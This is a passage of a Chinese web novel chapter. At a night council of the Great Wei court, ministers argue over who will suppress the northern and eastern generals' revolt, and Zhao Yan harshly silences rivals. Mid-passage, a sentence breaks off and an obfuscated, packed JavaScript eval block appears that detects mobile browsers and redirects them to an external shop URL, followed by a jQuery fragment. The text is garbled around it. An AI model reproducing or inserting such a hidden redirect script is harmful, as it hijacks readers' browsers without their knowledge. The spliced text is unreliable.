夜已深,皇宫里的灯火却迟迟未熄,数排儿臂粗的蜜烛将议政殿照得亮如白昼,急报在大臣手中传递阅览,静得不能再静。


    大魏吸取前梁的教训,兵权分中央军和地方军两块,最重要的中央军由皇帝亲自掌握,而地方军则“三分天下”,一部分四征将军,一部分各州都督,一部分各州刺史、太守。


    除此之外,世家大族也会蓄养家臣部曲。


    太祖皇帝临终前,曾对先帝叮嘱:


    四征将军是跟随他一起开创大魏的心腹功臣,可以信重;


    各州都督以及各州刺史、太守,大多出身世家大族,要慎重安排;


    而保护盛京安危的禁军,必须牢牢控制在自己手中,方万无一失。


    先帝照做,这些年来,信任栽培四征将军,慎重安排各州郡主要官员,以及牢牢掌控盛京边防兵权。


    后面先帝英年早逝,临终前交代儿子同样的话。


    明惠帝听话照做。


    本以为不会出错。


    谁成想呢?


    最放心的一个环节,反而出现问题。


    明惠帝派禁军去万宅,发现万景留守于京的嫡长子早就自绝身亡。


    至于邵勇,他的老母嫡妻嫡子全都留在盛京,听闻噩耗,老母直接昏厥过去,一命呜呼。嫡妻遭受打击,意图殉情,被儿女救了下来。嫡子写了奏折,恳求明惠帝让他前往征东,为父报仇。


    另外两个征西、征南将军的家眷惶恐不已,生唯恐波及自身。


    议政殿,朝臣跪坐于地。


    除却赵堰、王家主这对亲家,还有闭门思过的赵哲,人都来齐了。


    蜜烛静静地淌着泪。


    明惠帝面沉如水,他还没有昭告天下皇后有孕的喜事,反倒征北征东的噩耗先行一步,闹得沸沸扬扬。


    车马慢、消息迟。


    说不定现在征东已经乱成一团。


    而征北……


    万景!


    祖父曾经的左膀右臂,竟然敢谋反!


    朝臣们纷纷上奏提议,无一例外,都是请陛下派兵**平乱。


    赵咨想到父亲现状,不由眸光一闪,若能借此机会,让父亲领兵平乱,或许可以重回朝堂,正好让陛下看清楚,谁才是对他忠心耿耿的能臣!


    他正欲暗示王大郎,也就是自己的大舅兄。


    忽的身上一阵发凉。


    顺着视线寻去。


    赵言冷冷地盯着他,眼神赤裸裸警告:你要是敢站出来,我就抽死你。


    把你抽的连亲爹都认不出来。


    赵咨憋着股火,回瞪过去。


    他这是威胁谁呢?不像话!


    虽然但是,很不想承认也得承认。


    毕竟事实就是如此。


    赵咨怂了。


    赵哲赵咎不听话,但至少眼里还有长幼尊卑。


    老四就不一样了。


    这家伙纯疯!


    谁让他不顺眼,谁惹他不痛快,无论男女老少,全都一视同仁地收拾!


    为了杜绝赵言朝堂动手的可能,赵咨只好打消念头。


    他忍气吞声,忍辱负重。


    本以为能换来兄弟和睦。


    结果,赵言还蹬鼻子上脸。


    赵言神情平静,移开目光,发出一声嗤笑。


    余光扫来,毫不掩饰轻蔑。


    赵咨:“……”


    竖子不足与谋!!


    他气冲冲别过脸,又怕周围官员察觉兄弟不和,努力半天,硬生生挤出一个比哭还难看的笑容。


    舅兄王大郎一转头,还以为大晚上见鬼了,差点没给吓死。


    议事眼看快到尾声。


    还没决定出平乱的人选。


    有人举荐常山,也有人举荐兵部尚书。


    更有甚者,提议陛下可御驾亲征。话刚说出口,就被赵言张口喷了个狗血淋头,字字珠玑,尖锐刻薄,一句“用心险恶”,差点把人说得要当场撞柱证清白。


    赵言眼都不带抬一下。


    “要死回家死,在这装什么样子?你想血溅当场,别人可不想沾一身晦气。”


    这句话一出来,满殿寂静。


    那位提议明惠帝亲自平乱的大臣不堪受辱,眼一闭,头一歪,当场昏迷,被人抬了下去。


    赵咎低头憋笑。


    赵咨神清气爽,心里平衡了。


    明惠帝压了压嘴角,他膝下无子,若亲自上前线,且不说后方交给谁这种问题,只说但凡出个什么意外,大魏直接后继无人。


    他不可能冒这么大的风险。


    还是赵言好。


    会说,能说,多说!


    等资历上去,立马提拔他为中书令!片刻都不带耽搁的!


    明惠帝目光在赵咎身上停留几秒,眼神隐隐流露犹豫。


    说实话,他除了小舅谁都不信。<b


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17219765|173897||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    r>但要让赵咎去平乱,他又不舍得。


    “陛下,不如让卫国公出马。”有人道,赵咨看过去,发现是父亲先前的门生,心里一阵暗喜。


    这话可不是他说的。


    老四总不能对着外人翻脸吧?


    那也太不像话了!


    然而……


    赵咨低估了赵言。


    “蔡大人。”狭长的眼眸微微眯起,落在官员身上,赵言心平气和道,“家父年老体弱,实不能担此重任,要是误了大事,恐怕我们全家老弱妇孺的项上人头加一块,都不够赔罪。”


    “若我记得不错,家父对尔有提携之恩,尔如今这是……恩将仇报不成?”


    他侧目而视,清棱棱的目光带着几分审视。


    蔡大人顿时面红耳赤,又羞又恼。


    “赵四郎!你、你岂能如此看我!”


    “尔想害我父,我还要对尔客气不成?”赵言嗤笑道,“真当自己是个人物了!”


    蔡大人出身小士族,这些年一直依附赵家。


    许多不干净事,赵堰都是交代蔡大人办的。


    赵言心里生出杀意,此人绝不能留!


    就算不赶尽杀绝,也要教他仕途尽断才是。


    枪打出头鸟。


    赵言接连驳斥两人,令朝臣不敢再贸贸然开腔。得罪赵家是一回事,关键被这样一顿喷,着实臊得慌啊!


    士人讲究风雅,言行举止,言在最前头。


    就算不是体面人,大家也都要装出个体面人来。


    谁会像赵言这样言辞犀利刻薄?


    还在打机锋呢,他就开始问候人家祖宗十八代了。


    真是不讲口德!


    赵言以前也没这么刻薄,只能说毒舌,那毒舌算什么毛病嘛?只能说是有点个性。


    后面外放县令。


    经受了当地清贫、愚昧、脏话连篇的进修,直接就是强上加强,脱胎换骨!


    赵言在当地如鱼得水,碰上刁民,都不用护卫,一锄头抡过去,砸得人头破血流。


    沈斯音站在一旁微笑,情真意切赞美:“阿兄好厉害!”


    于是赵言手里的锄头抡得更起劲了。


    **都能做到精准爆头。


    赵言的目光扫过几个不安分的人头,手心抚摸腰间玉佩,有些惋惜地叹了口气。


    听到这声叹气,众人的后背不约而同生出一股凉意。